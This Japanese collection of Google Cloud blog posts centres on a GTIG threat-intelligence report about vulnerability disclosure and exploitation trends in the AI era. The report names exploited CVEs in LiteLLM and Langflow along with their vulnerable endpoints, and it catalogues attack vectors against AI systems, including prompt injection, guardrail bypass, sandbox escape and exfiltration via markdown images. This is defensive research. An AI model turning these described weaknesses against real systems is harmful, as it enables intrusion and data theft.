レポートの後半では、今回の結果を踏まえて、Google Cloud でインフラの課題にどう取り組むかを 6 つのテーマで紹介しています。調査で見えた課題ごとに、対応する方法をまとめました。
- データのサイロ化(60.6% が課題)には、BigQuery と BigQuery Omni。フルマネージドのデータ ウェアハウスで分析基盤をまとめ、複数のクラウドに散らばったデータも移動させずに分析できます。
- コンテナの本番利用や脱 VMware には、Google Kubernetes Engine (GKE) と Cloud Run。環境を選ばずにアプリケーションを動かせて、日々の運用の手間も減らせます。
- 1 位のサイバー攻撃への対応には、Wiz、Security Command Center、Mandiant の組み合わせ。マルチクラウド全体のリスクを見える化したうえで、稼働中のシステムに対する脅威を継続的に検知し、インシデント対応の知見も生かせます。
- 国内データセンター(63.6% が重視)やソブリン AI には、東京と大阪のリージョンと Google Distributed Cloud (GDC)。データを国内に置けるうえ、自社のデータセンターに Google の AI、Gemini を持ち込むこともできます。
- 半数近くが導入した AI エージェントには、Gemini Enterprise。日々の業務での利用から自律型エージェントの構築までを支え、その下のハードウェアや基盤モデルまで Google Cloud が一貫して提供します。
- 属人化と人材不足には、Tech Acceleration Program (TAP)。Google Antigravity などのコーディング エージェントが既存環境を解析し、移行先の設計や移行計画づくりを手伝います。移行の後の運用でも、エージェントを使って作業を効率化する例が出てきています。
ここで紹介したのは一部です。レポートには、設問ごとのグラフや、回答者の層ごとに今後の意向を追った詳細な分析を全 33 ページに収録しています。
2026 年度版クラウド・インフラ最新動向のダウンロード ページ から入手できます。自社のインフラ計画を見直すときの比較材料として、チームで共有してみてください。
AI 時代の脆弱性の発見と悪用の傾向
- Link: https://cloud.google.com/blog/ja/topics/threat-intelligence/vulnerability-discovery-and-exploitation-trends-in-the-ai-era/
- Published: 2026-10-15 11:00:00
- Fetched: 2026-10-15 17:52:37
詳細を表示
執筆者: Robin Grunewald、Supriya Mazumdar、Kelli Vanderlee
はじめに
Google Threat Intelligence Group(GTIG)は、脆弱性の開示と悪用の統計情報を調査し、脆弱性の脅威ランドスケープに対する AI の影響を評価しています。AI によって、脆弱性の発見と悪用のペースだけでなく、発見される脆弱性の種類や典型的なリスク プロファイルも目に見えて変化していることがわかりました。
主な調査結果:
-
脆弱性の開示が倍増: 1 か月あたりに開示された脆弱性の数は、2026 年 1 月には 5,045 件でしたが、2026 年 7 月には 10,477 件と倍増し、2026 年 8 月にはさらに増加して 10,740 件となりました。
-
脆弱性の悪用がほぼ倍増: 悪用された脆弱性の数は、2025 年には月平均 10.5 件でしたが、2026 年 1 月から 2026 年 8 月までの期間には月平均 18 件に増加しました。
-
ゼロデイ脆弱性の悪用がわずかに増加: ゼロデイ脆弱性の悪用は、2025 年には月平均 8 件でしたが、2026 年 1 月から 2026 年 8 月までの期間には月平均 11 件に増加しました。
-
AI はより重大な脆弱性を検出: AI を活用して発見した脆弱性については、低リスクの脆弱性の割合が低く、中リスクの脆弱性とリモートコード実行(RCE)につながる脆弱性の割合が高くなりました。
GTIG は、脆弱性の発見と悪用が短中期的に増加し続けると予測しています。脆弱性の迅速な発見と悪用によるリスクの増大に対抗するには、優先順位がないパッチの一括適用から、脅威インテリジェンスに基づくトリアージに移行し、標的型のエッジ防御とエージェントによる自動修復を組み合わせる必要があります。
範囲と手法
GTIG のこの分析では、2025 年 1 月 1 日から 2026 年 8 月 31 日までに開示された脆弱性の傾向を調査しています。このデータセットは、脆弱性とともに、悪用の影響、GTIG の脆弱性リスク評価、実際の悪用など、重要な運用上の側面も追跡しています。このブログ記事でリスク評価に言及する場合、CVSS の重大度ではなく、GTIG の脆弱性リスク評価を使用しています。
ベースラインのモニタリング対象期間は 20 か月間(2025 年 1 月~2026 年 8 月)ですが、このレポートでは特に、増加速度と新たな脅威ベクトルに焦点を当てています。
この調査では、共通脆弱性識別子(CVE)の開示率と悪用率の両面から、サイバーセキュリティ環境全体における AI の影響を評価することを目的としています。また、AI / 大規模言語モデル(LLM)の運用スタックを標的とする脆弱性についても検証しています。
2026 年に CVE の開示が倍増
脆弱性の開示件数は、2026 年 1 月には 5,045 件でしたが、7 月には 10,477 件と倍増し、8 月には 10,740 件とピークに達しました(図 1)。
脅威リスクと膨らんだ CVE 件数の区別
ただし、脅威インテリジェンスのコンテキストがなければ、2026 年を通じた元の開示件数は誤解を招く可能性があります。オープンソース エコシステム全体で CVE Numbering Authority(CNA)の割り当てポリシーが自動化されているため、ベースラインの数値が膨らむ可能性があります。たとえば、説明に「Linux カーネル」のみが含まれる脆弱性により、2026 年 1 月から 2026 年 8 月までの間に約 5,000 件の CVE が生成されましたが、実際に悪用されたゼロデイは確認されていません。
<div class="article-module h-c-page">
<div class="h-c-grid">
<figure class="article-image--large
h-c-grid__col
h-c-grid__col--6 h-c-grid__col--offset-3
">
<img alt="Count of vulnerabilities disclosed, January 2025 - August 2026 (Source: GTIG)" src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Figure_1_Count_of_vulnerabilities_disclose.max-1000x1000.png" />
</a>
<figcaption class="article-image__caption "><p>図 1: 開示された脆弱性の数、2025 年 1 月~2026 年 8 月(出典: GTIG)</p></figcaption>
</figure>
</div>
</div>
リスク評価の観点から見ると、最も興味深い増加は高リスクの脆弱性で発生しています。高リスクの脆弱性の開示件数は、2026 年 1 月には 131 件でしたが、2026 年 8 月には 350 件へと急増し、167% の増加を記録しました(図 2)。高リスクの脆弱性は、開示されたすべての脆弱性のうち、依然としてわずかな割合(2026 年 8 月時点で 3%)を占めています。
<div class="article-module h-c-page">
<div class="h-c-grid">
<figure class="article-image--large
h-c-grid__col
h-c-grid__col--6 h-c-grid__col--offset-3
">
<img alt="Count of vulnerabilities disclosed by GTIG vulnerability risk rating, January 2025 - August 2026" src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Figure_2_Count_of_vulnerabilities_disclose.max-1000x1000.png" />
</a>
<figcaption class="article-image__caption "><p>図 2: GTIG の脆弱性リスク評価で開示された脆弱性の数、2025 年 1 月~2026 年 8 月(出典: GTIG)</p></figcaption>
</figure>
</div>
</div>
2026 年を通じた高リスクの脆弱性の増加は、影響を受けるベンダーの増加と、ベンダーの開示サイクルの集中という 2 つの複合的な要因によるものです。ソフトウェア エコシステム全体で、ベースラインの高リスクの開示件数は、2025 年半ばには月あたり約 65 件でしたが、2026 年半ばには月あたり約 135 件となり、過去 1 年間で 2 倍以上に増加しました(図 3)。このベースラインの上昇に加えて、図 3 では、特定のベンダーが例外的に多数の CVE を報告し、月間件数が過去最高を記録した 2 つの期間が際立っています。
-
TOTOLINK: 4 月と 5 月に、一般消費者向けルーターのファームウェアに対する大規模な調査結果が開示され、75 件の高リスクの欠陥が追加されたことで、コマンド実行の脆弱性が年半ばに急増しました。
-
Oracle と Linux: 6 月、7 月、8 月に、WebLogic や Coherence などのミドルウェア全体に適用される Oracle の四半期ごとの Critical Patch Update(CPU)と、Linux カーネル ネットワーク ドライバのアドバイザリが組み合わさったことで、8 月だけで 128 件の高リスクの脆弱性(高リスクの開示全体の約 37%)が発生し、リモートコード実行の脆弱性の増加に直接つながりました。
<div class="article-module h-c-page">
<div class="h-c-grid">
<figure class="article-image--large
h-c-grid__col
h-c-grid__col--6 h-c-grid__col--offset-3
">
<img alt="Count of vulnerabilities High Risk disclosed by Vendor, January 2025 to August 2026" src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Figure_3_Count_of_vulnerabilities_High_Ris.max-1000x1000.png" />
</a>
<figcaption class="article-image__caption "><p>図 3: ベンダーが開示した高リスクの脆弱性の数、2025 年 1 月~2026 年 8 月(出典: GTIG)</p></figcaption>
</figure>
</div>
</div>
実際の悪用
GTIG は、2026 年 1 月から 8 月までの期間に、開示され、悪用された 141 件の脆弱性を記録しました。これは、2025 年全体で悪用された脆弱性の総数(127 件)を上回っています。実際の悪用は、2025 年には月平均 10.5 件でしたが、2026 年には月平均 18 件に増加しました。ただし、開示された脆弱性のうち、実際に悪用されたものの割合は依然として極めて低いことに注意する必要があります。2026 年に開示されたすべての脆弱性のうち、実際に悪用が確認されたものはわずか 0.23%(約 431 件に 1 件)であり、月あたりに換算すると、開示された脆弱性が数千件であるのに対し、悪用されたものは数十件程度です。つまり、月ごとの悪用件数は、ベンダーの開示サイクルや脅威アクターのキャンペーンの急増など、他の要因の影響を受けやすくなります。2026 年 5 月以降、CVE の悪用の拡大(指数化された増加率 +127%)が、脆弱性開示の増加(指数化された増加率 +128%)とほぼ一致し、脆弱性全体の状況を上回るのではなく、それに合わせて拡大するという変化が見られます。
<div class="article-module h-c-page">
<div class="h-c-grid">
<figure class="article-image--large
h-c-grid__col
h-c-grid__col--6 h-c-grid__col--offset-3
">
<img alt="Count of all vulnerabilities exploited, by n-days and zero-days, January 2025 to August 2026" src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Figure_5_Count_of_all_vulnerabilities_expl.max-1000x1000.png" />
</a>
<figcaption class="article-image__caption "><p>図 4: N デイとゼロデイ別の、悪用されたすべての脆弱性の数、2025 年 1 月~2026 年 8 月(出典: GTIG)</p></figcaption>
</figure>
</div>
</div>
ゼロデイの悪用はほぼ横ばい
悪用されたゼロデイの数は、2025 年の月平均 8 件から 2026 年の月平均 11 件へとわずかに増加しました。1 か月あたりに特定されたゼロデイの数は、2026 年半ばまでベースライン レベル(8~12 件)付近でしたが、8 月には 22 件に急増しました(図 4)。ゼロデイの悪用は、依然として、開示されたすべての脆弱性のうち、ごく一部を占めるにすぎませんが、2026 年 1 月から 2026 年 8 月までに確認された、悪用されたすべての脆弱性の大部分(62%)を占めています。
脅威アクターは N デイの悪用でより多くの成功を収めているか?
脅威アクターは、新しいゼロデイを発見するよりも、LLM や AI ツールを使用して、製品バージョン、パッチ、脆弱性開示の発表、概念実証(POC)コードの違いの分析を自動化し、N デイを迅速に武器化する方が、簡単または効率的であると考えている可能性があります。
CVE の悪用はよりリスクの高い脆弱性に向かう傾向
ゼロデイの悪用率はわずかに増加したのみであることから、2026 年 1 月から 2026 年 8 月にかけての脆弱性悪用の増加の主な要因は、N デイの迅速な武器化に集中していると考えられます。特に、高リスクの脆弱性の悪用は、2025 年には 28 件でしたが、2026 年 1 月~8 月には 75 件と 2 倍以上に増加しました。
<div class="article-module h-c-page">
<div class="h-c-grid">
<figure class="article-image--large
h-c-grid__col
h-c-grid__col--6 h-c-grid__col--offset-3
">
<img alt="Count of vulnerabilities exploited in the wild by GTIG vulnerability risk rating, January 2025 - August 2026" src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Figure_6_Count_of_vulnerabilities_exploite.max-1000x1000.png" />
</a>
<figcaption class="article-image__caption "><p>図 5: GTIG の脆弱性リスク評価別に見た、実際に悪用された脆弱性の数、2025 年 1 月~2026 年 8 月(出典: GTIG)</p></figcaption>
</figure>
</div>
</div>
攻撃対象領域別の悪用
2026 年 1 月から 2026 年 8 月までに悪用された脆弱性のうち、エッジおよびセキュリティ アプライアンスに影響を及ぼした脆弱性は 14%、エンタープライズ ディレクトリおよびコラボレーション ハブに影響を及ぼした脆弱性は 11% でした。エッジ ゲートウェイは、初期アクセスの主要なベクトルとなっています。2026 年 1 月から 8 月までに悪用されたエッジの欠陥の 65% 以上が、高 / 重大の脅威リスク評価に該当しており、攻撃者は認証されていない公開管理インターフェースを積極的に標的にして、企業の EDR エージェントの盲点を突いています。
CVE の発見数は急増しているものの、攻撃者の悪用は依然として境界アプライアンスと公開された企業サービスに集中しています。
特定のカテゴリの増加率を比較
月ごとの元の数をグラフにすると、たとえば 8 月に発見されたゼロデイが 1 桁であるのに対し、開示された脆弱性が 10,000 件を超えるなど、大きな差があるため、相対的な勢いがわかりません。脆弱性ティア間の増加率を直接比較できるように、図 7 では 4 つの指標を 2025 年 1 月のベースライン 0 に指数化し、3 か月の移動平均増加率のトレンドラインを示しています。
-
CVE 開示件数全体(128%): 前述のとおり、元の CVE 開示件数は 2026 年 1 月から 2026 年 8 月にかけて倍増しました。3 か月の移動平均増加率から、2026 年には CVE の開示が着実に加速していることがわかります。
-
開示された高リスクの脆弱性(241%): データセット全体で最も急激な増加を示し、2026 年 8 月までに初期ベースラインの約 3.5 倍(241% 増加)に達しています。Linux、Oracle、Totolink を除くと、2025 年 1 月から 2026 年 8 月までの増加率はわずか 128% でした。
-
CVE の実際の悪用(127%): 2026 年 1 月から 8 月にかけて、CVE の悪用は CVE の開示全体とほぼ同じ割合で増加していますが、3 か月の移動平均トレンドラインは、悪用の増加が 2026 年第 2 四半期まで本格化しなかったことを示しています。
-
ゼロデイの悪用(59%): 2026 年半ばまではベースライン レベル(月あたり 8~12 件のゼロデイ)付近でしたが、8 月には 22 件に達しました。この増加は 3 か月の移動平均増加率に反映されており、2026 年の夏に上昇傾向を示し始めました。
この視覚的に明確な違いでは、2026 年の脆弱性悪用の緩やかな増加が、新たなゼロデイの急増ではなく、実際の脆弱性における高リスクのエクスプロイトの迅速かつ標的を絞った武器化によって引き起こされていることが明確に示されています。
<div class="article-module h-c-page">
<div class="h-c-grid">
<figure class="article-image--large
h-c-grid__col
h-c-grid__col--6 h-c-grid__col--offset-3
">
<img alt="3 Month Rolling Average of % Growth, Indexed to 0% at January 2025 1" src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Figure_6_-3_Month_Rolling_Average_of__Grow.max-1000x1000.png" />
</a>
<figcaption class="article-image__caption "><p>図 6: 2025 年 1 月の 0% に指数化した 3 か月間の移動平均増加率(出典: GTIG)</p></figcaption>
</figure>
</div>
</div>
ハンターとしての AI: AI を活用した脆弱性の発見
検出手法と帰属特定の現実
現在の公開データでは、2 つの構造的な要因により、AI によって発見された脆弱性が大幅に過小評価されています。
-
標準化されたメタデータの欠如: 公開 CVE リポジトリには、AI への帰属を示す統一されたメタデータタグがまだないため、手動でヒューリスティックな追跡を行う必要があります。
-
ファーストパーティとクラウドのサイレント パッチ適用: CVE の割り当ては通常、顧客によるパッチ適用の調整が必要なオンプレミス ソフトウェアやサードパーティ ソフトウェアのために予約されているため、大手のクラウド プロバイダや SaaS プロバイダは日常的に、正式な CVE ID をリクエストすることなく、AI が検出した脆弱性を本番環境で直接修正しています。また、多くの調査結果は、確立された協調的な脆弱性の開示(CVD)の期間中、公開が制限されます。
しかし、多層検証プロセスを使用することで、自律型エージェントによって表面化する可能性が高い脆弱性を特定できます。
-
検証済みのラボとベンダーの台帳: フロンティア AI 研究プログラムから確認済みの開示情報を直接取り込みます。
-
アドバイザリとリリースの解析: サイバーセキュリティ インフラストラクチャ セキュリティ庁(CISA)のアドバイザリ、MITRE の記録、セキュリティに関するベンダーの公開情報をプログラムでモニタリングし、根本原因の発見や PoC の合成が自律型 AI エージェント(Hacktron AI、AISLE など)によるものであることを明示的に認めているものを特定します。
リスク プロファイルの違い: AI による発見と従来型の発見
AI が発見した可能性が高いと特定できた、開示済みの脆弱性を分析すると、人間やスキャナによる従来型の発見とは構造的に異なることが示唆されます。AI エージェントは、低リスクの脆弱性を比較的少なく、中リスクと高リスクの脆弱性を比較的多く検出するために使用されています。
|
GTIG の CVE リスク評価 |
AI が発見していない CVE |
AI が発見した CVE |
|
低 |
69% |
39% |
|
中 |
28% |
58% |
|
高 |
3% |
4% |
表 1: リスク評価別の脆弱性の割合 - AI による発見と AI 以外による発見の比較 - 2026 年 1 月~8 月(出典: GTIG)
従来の CVE 開示は、重大度の低い検出結果が大部分を占めています(低脅威リスクが 69%、中脅威リスクが 28%)。対照的に、AI が発見した脆弱性ではこの分布が逆転します。58% が中脅威リスクに該当し(ベースラインの 2 倍以上)、低リスクの検出結果は 39% に減少します。
この分布は、研究プログラムでこれらのシステムの対象範囲設定とデプロイがどのように行われているかを大きく反映していると考えられます。研究者は、外観上の欠陥やコンプライアンス警告を検出するための広範な自動スキャンを実行するのではなく、自律型エージェントに重要インフラと機密性の高い権限境界の監査を意図的に指示し、影響の大きい検出結果に焦点を当てています。Mandiant は、クライアントのコードベースのポイントインタイム評価で専門的な Agentic Vulnerability Discovery Harness(AVDH)を使用した場合にも、同様の結果が得られたことを報告しています。
<div class="article-module h-c-page">
<div class="h-c-grid">
<figure class="article-image--large
h-c-grid__col
h-c-grid__col--6 h-c-grid__col--offset-3
">
<img alt="Share of vulnerabilities per exploitation consequence - AI vs. Non AI discovery" src="https://storage.googleapis.com/gweb-cloudblog-publish/images/Figure_8_Share_of_vulnerabilities_per_expl.max-1000x1000.png" />
</a>
<figcaption class="article-image__caption "><p>図 7: 悪用の結果ごとの脆弱性の割合 - AI による発見と AI 以外による発見(出典: GTIG)</p></figcaption>
</figure>
</div>
</div>
AI が発見した脆弱性と AI が発見していない脆弱性の違いは、悪用の結果という点でも明らかです。リモートコード実行(RCE)につながる脆弱性は、AI が発見した脆弱性のうち、ちょうど 50% ですが、広範な CVE エコシステム全体ではわずか 26% です。逆に、AI エージェントは影響の小さいカテゴリでは脆弱性発見率が低く、情報開示(8% 対 18%)とデータ操作(5% 対 9%)の脆弱性発見率は、AI が発見したと特定されなかった脆弱性の半分以下でした。
コード実行に集中しているのは、フロンティア エージェントの動作方法に起因していると考えられます。自律システムは、コア C/C++ ライブラリ、ランタイム、ハイパーバイザにわたる複雑なマルチステップのセマンティック コードパスをナビゲートするように設計されています。AI モデルは、ファジング ハーネスの合成、メモリ状態のモデル化、不明瞭なエッジケース ロジックの連鎖により、従来の静的アナライザでは一貫して検出できなかったメモリ破損(バッファ オーバーフロー、解放後の使用)やロジック バイパスを特定することに優れています。
AI が発見した脆弱性の悪用が確認されたことは、現時点では、確立された傾向というよりは初期の兆候ですが、AI が発見した欠陥によるリスクの増大が単なる理論上の話ではないことを示しています。
注目すべき事例は、CVE-2026-1731 です。これは、サードパーティのリサーチ エージェント(Hacktron AI)が自律的に発見した、BeyondTrust Privileged Remote Access(PRA)および Remote Support の未認証 OS コマンド インジェクションの欠陥です。開示後、GTIG は、脅威アクターがこの脆弱性を標的型初期アクセス キャンペーンで武器化し、企業の境界をバイパスしていることを確認しました。具体的には、GTIG は、開示から 4 日以内にこの脆弱性を悪用する脅威クラスタを観察し、公開から 7 日以内にさらに 5 つの脅威クラスタを観察しました。GTIG は、これらの脅威アクターが、権限昇格、データの引き出し、二次ペイロード(SNOWLIGHT、SPARKRAT、クリプトマイナーなど)のドロップなど、悪用後にさまざまな活動を行っていることを確認しました。この運用上の衝突は、脅威アクターが積極的に悪用しようとしている影響の大きい脆弱性を、防御 AI エージェントが発見していることを浮き彫りにしています。
AI を狙う: AI / LLM 運用スタックを標的とする脆弱性
AI スタックの脆弱性のアーキテクチャの内訳
企業による生成 AI の導入が加速するなかで、セキュリティ研究者と攻撃者の関心は、基盤となる AI 運用スタックの脆弱性にも向けられています。2025 年 1 月から 2026 年 8 月までのモニタリング期間中、GTIG は AI 関連の CVE 開示を累計 2,076 件追跡しました。2026 年 1 月から 2026 年 8 月までの期間だけでも、8 つのコア アーキテクチャ レイヤで 1,500 件を超える脆弱性が特定されています。
|
レイヤ / アーキテクチャ カテゴリ |
主なテクノロジーとフレームワーク |
主な脆弱性ベクトル |
2026 年 |
|
AI オーケストレーションとエージェント フレームワーク |
Flowise、Langflow、LangChain、Dify、LlamaIndex、AutoGen、CrewAI、Semantic Kernel、Letta、MCP、Pydantic-AI |
信頼できないワークフローのシリアル化、安全でない Python ツールの呼び出し、サーバーサイド テンプレート インジェクション(SSTI)による任意のコード実行(RCE)とコマンド インジェクション。 |
782 |
|
AI ウェブアプリおよびポータル |
Open-WebUI、AnythingLLM、FastGPT、LibreChat、RAGFlow、Gradio、Streamlit、LobeChat、Chainlit、GPT4All |
チャット プロキシを介したサーバーサイド リクエスト フォージェリ(SSRF)、マークダウン レンダリングにおける保存型 XSS、ドキュメント アップロード ハンドラを介したローカル ファイル インクルード(LFI)。 |
230 |
|
推論とサービングのインフラストラクチャ |
vLLM、Ollama、LiteLLM、Llama.cpp、Triton(NVIDIA)、Ray、TGI、SGLang、TensorRT-LLM、BentoML、LocalAI |
認証されていない管理 API、モデル チェックポイントのシリアル化解除、テンソル バックエンドでのメモリ破損、マルチテナント リソースの枯渇。 |
212 |
|
モデル セキュリティ アドバイザリ |
基盤モデルの重み、システム プロンプト、ガードレール、評価ツール(Garak、Lakera、Promptfoo) |
直接および間接プロンプト インジェクション、システム プロンプトの引き出し、ガードレールのバイパス、トレーニング データ ポイズニング、エージェントの過剰な自律性。 |
106 |
|
ML フレームワークおよびハブ |
PyTorch、Hugging Face(Hub / Datasets)、Transformers、ONNX Runtime、TensorFlow、Diffusers、DeepSpeed、Safetensors、Keras |
メモリの安全性の違反(ヒープ オーバーフロー、C++ テンソル演算子での範囲外読み取り)や、悪意のあるモデル / データセット アーカイブの抽出による任意のファイルの上書き。 |
99 |
|
フロンティア モデル |
Anthropic、Gemini、OpenAI |
検証されていない CLI シェル補間と信頼できないワークスペース構成の暗黙的な実行による任意のコード実行(RCE)とコマンド インジェクション、Git ワークツリー ディレクトリの混乱とメモリツールのシンボリック リンク トラバーサルによるサンドボックス回避、間接プロンプト インジェクションによるマークダウン画像レンダリングと制限が緩いネットワーク取得許可リストによる密かなデータ引き出し。 |
97 |
|
MLOps とテスト追跡 |
MLflow、ClearML、Weights & Biases(W&B)、Kubeflow、Langfuse、Langsmith、Arize、Phoenix、Helicone |
任意のファイルの上書き(LFI / RFI)、認証されていないリモート トラッキング サーバーの乗っ取り、共有テストレジストリ内のアーティファクトの削除。 |
39 |
|
ベクトル データベースおよび検索 |
Milvus、Qdrant、ChromaDB、Weaviate、Pinecone、FAISS、LanceDB、PGVector、Marqo、Vespa |
認証されていないコレクションの操作、クラスタリング / インデックス作成プラグインを介したリモートコード実行、メタデータ SQL / JSON クエリ インジェクション。 |
19 |
表 2: AI システムを標的とした脆弱性の内訳(出典: GTIG)
新たな戦場: オーケストレーションと推論
2026 年 1 月から 8 月にかけて、AI アプリケーションの脆弱性の開示は、エージェント オーケストレーション フレームワーク、バックエンド サービング インフラストラクチャ、エンタープライズ AI ゲートウェイの 3 つの主要領域に集中していました。
-
エージェント オーケストレーションが主なチョークポイントに: オーケストレーション ミドルウェアは、AI 関連のすべての欠陥の 50% を占め、2026 年には開示件数が 347% 急増しています。ビジュアル ワークフロー ビルダー(Flowise、Langflow など)や自律型フレームワークは、環境とのやり取りを容易にするために、動的なコード実行ノードをデプロイすることがよくあります。攻撃者は、プロンプト インジェクションや細工されたワークフロー JSON を介してこれらのノードを悪用し、実行ループをハイジャックして、自然言語プロンプトを認証されていないリモートコード実行に変換します。
-
一元化された AI ゲートウェイとクラウドのラテラル ムーブメント: 企業の AI ゲートウェイは、壊滅的な二重脅威ベクトルとなります。アプリケーション レイヤでは、侵害されたゲートウェイにより、サードパーティのアプリケーション プログラミング インターフェース(API)キーや、個人を特定できる情報(PII)または独自のソースコードを含むプライベート プロンプト ストリームが漏洩します。インフラストラクチャ レイヤでは、このようなゲートウェイが、攻撃者がデータベースの認証情報を収集し、内部のクラウド環境へのラテラル ムーブメントを行うための最初の足がかりとなります。
-
新たな境界としての推論ゲートウェイ: バックエンド サービング インフラストラクチャ(vLLM、Triton、LiteLLM、Ollama など)全体で、2026 年に 212 件の脆弱性が開示されました。これらの欠陥の約 4 分の 1(24%)は、認証されていない API エンドポイントまたはサーバーサイド リクエスト フォージェリ(SSRF)に直接起因しています。これにより、リモートの攻撃者は、境界ファイアウォールをバイパスしたり、コストの高い GPU コンピューティング リソースを枯渇させたり、独自のモデル チェックポイントを抽出したりするための直接的なエントリ ポイントを得ることができます。
AI ミドルウェアの実際の脆弱性悪用
AI インフラストラクチャのゼロデイ脆弱性の悪用はまだ確認されていませんが、脅威アクターは、公開されているミドルウェアで新たに開示された脆弱性を積極的に悪用しています。しかし、累積 2,076 件の開示のうち、実際に悪用されたことが確認されている脆弱性はごくわずかです。これらの事例の中で、脅威リスクが高いと評価され、認証されていない RCE、コマンド インジェクション、任意のファイル書き込みが行われるものをいくつか特定しました。
-
CVE-2026-42271(BerriAI LiteLLM): Model Context Protocol(MCP)サーバーのプレビュー エンドポイント(
POST /mcp-rest/test/connection)におけるコマンド インジェクションにより、ホストの乗っ取りや API 認証情報の盗難が行われます。 -
CVE-2026-5027(Langflow):
POST /api/v2/filesアップロード ハンドラにおけるパストラバーサル ファイルの書き込みにより、リモートの脅威アクターが不正なファイル(cron ジョブ、Secure Shell(SSH)キーなど)をホストにドロップできるようになります。 -
CVE-2025-3248(Langflow):
/api/v1/validate/codeでexec()を介して認証されていない Python コードが挿入され、即時の RCE が可能になります。
今後の展望
GTIG は、脆弱性の発見と悪用の割合が短中期的に増加し続ける可能性が高いと予測しています。5 月の AI 脅威トラッカーなどの他の調査では、生成 AI で開発されたゼロデイ エクスプロイト スクリプトを所有する脅威アクターの最初の既知の事例を報告しました。実際の攻撃が実行される前の作戦計画段階で阻止されましたが、エクスプロイトの構造的アーティファクトを分析したところ、高い信頼度の LLM 生成マーカーが検出されました。9 月の AI 脅威トラッカーでは、脅威アクターがリソースを共有し、エージェント型の脆弱性発見ツールのプロトタイプを作成していることを指摘しました。
AI によって強化された脆弱性発見と、AI インフラストラクチャおよびテクノロジーを標的とした脆弱性の両方について、一般公開されているデータはまだ初期段階にあります。それでも、AI が脆弱性の発見に貢献していることを示す兆候は現れ始めています。自律型リサーチ エージェントは、重要な攻撃対象領域を対象とするように指示された場合、重大度の高い欠陥を検出する優れた能力を発揮します。エージェント ワークフローは、複雑なセマンティック コードパスについて推論し、動的な証明ハーネスを合成することで、コア ライブラリやランタイムにおけるメモリ破損やロジック バイパスを特定することに優れています。これにより、高度な攻撃者が積極的に悪用しようとする欠陥の正確な種類が明らかになります。
脅威アクターが AI システムの脆弱性を実際に悪用し始めているため、組織は AI セキュリティを後回しにできません。この環境全体を保護するには、即時の封じ込め戦略、自律型エージェント ワークロードのサンドボックス化、リスクベースの脆弱性の管理の実装により、新たな境界を防御する必要があります。
現時点では、脅威アクターがゼロデイと N デイの悪用をスケールアップする前に、サイバーセキュリティ コミュニティが防御を強化できる側面は 2 つあります。第一に、組織は、開示された脆弱性の優先順位付けと修復の方法をモダナイズする必要があります。別のブログ投稿で、Mandiant は、防御者が攻撃者による攻撃までの時間の短縮に対抗できるよう、AI を活用した脆弱性管理を実装するためのブループリントを提示しました。第二に、他の企業や消費者にソフトウェアやサービスを提供する組織は、AI で強化されたコードレビューを社内で積極的に実施し、本番環境にリリースされて悪用可能な脆弱性になる前に欠陥を特定して修正する必要があります。Google AI Threat Defense に統合した、CodeMender などのエージェント型防御機能を活用して、デベロッパー ワークフロー全体でコードを継続的に監査してパッチを適用することが重要になります。プレリリース版の AI コードレビューが標準的なベスト プラクティスになれば、脆弱性の開示件数の増加率は最終的に鈍化する可能性があります。
- Google Threat Intelligence Group
Spanner キューの発表: エージェント ワークロードとその先を支えるトランザクション メッセージング
- Link: https://cloud.google.com/blog/ja/products/databases/spanner-queues-provide-native-transactional-messaging/
- Published: 2026-10-15 11:30:00
- Fetched: 2026-10-15 17:52:37
詳細を表示
※この投稿は米国時間 2026 年 10 月 3 日に、Google Cloud blog に投稿されたものの抄訳です。
AI エージェントは、クエリに回答するだけでなく、自律的に払い戻しを行ったり、在庫を管理したり、複数ステップのハンドオフを実行したり、サブエージェントをオーケストレートしたりできます。これらは、複雑なエージェント型ワークフローのほんの一例です。そのため、多くの場合、エージェントは運用データベースで内部状態を維持しながら、別のメッセージング システムやイベントキュー システムを介して非同期アクションをディスパッチする必要があります。残念ながら、これらのアプリケーションを構築するチームにとって、commit ポイントが異なる 2 つのシステムを管理することは、エージェント システムにおけるトランザクションの一貫性を破壊することになります。
このたび、Spanner キューの一般提供が開始されました。これは、Spanner に直接組み込まれたネイティブなトランザクション メッセージング機能です。Spanner キューは、信頼性の高いエージェント実行に特化して設計されており、メッセージの作成はトランザクションにおける単なる書き込み操作にすぎません。エージェントの状態変更と、意図したダウンストリーム アクションは、アトミックにまとめて commit されるか、完全に失敗します。
これを従来のアプローチと比較してみましょう。データベースの状態の更新は成功したものの、アクションのディスパッチが失敗した場合、AI エージェントは行動を決定したにもかかわらず、実際には実行されないという状態になります。メッセージのディスパッチが成功しても、状態トランザクションがロールバックされると、エージェントは無効な状態に基づいてアクションを実行します。非同期のマルチエージェント調整では、再試行、投機的実行、競合状態によってこれらの障害が増幅され、開発者は複雑なアウトボックス パターン、べき等性レイヤ、データ整合ワーカーを構築せざるを得なくなります。これは、エージェント アーキテクチャにおける信頼性担保のための大きな負担となります。
エージェント アーキテクチャの主な機能
Spanner キューは、インフラストラクチャのオーバーヘッドを発生させることなく、こうした複雑な非同期ワークフローをサポートするいくつかのコア機能を提供します。
アトミックな「意思決定とアクション」のエンキュー。単一の Spanner 読み取り / 書き込みトランザクション内で、エージェントは内部メモリまたは状態テーブルを更新し、同時にピア エージェントへのタスクをエンキューできます。Spanner の厳格な直列化可能性とグローバルな外部整合性に支えられ、状態の変化と実行インテントは 1 つのアトミックな単位として commit されます。
スケジュール実行と遅延実行。キュー メッセージは、commit 時にすぐにディスパッチすることも、将来の配信をスケジュールすることもできます。遅延再試行、スケジュールされたエージェント チェックイン、SLA エスカレーション タイマーなどのエージェント型パターンは、外部の cron スケジューラやポーリング インフラストラクチャを必要とせずに、メモリの更新とともにトランザクション的にエンキューできます。
エージェント ワーカー向けのストリーミング SQL pull。自律型エージェントは、ストリーミング SQL 読み取りを使用してタスクを動的に取り込んで処理します。エージェント ランタイムは、受信タスクをストリーミングしながら、処理能力に空きができ次第それらを処理し、トランザクション内でタスクの完了を確認応答(ACK)することで、エンドツーエンドのタスク実行状態の信頼性を保証します。
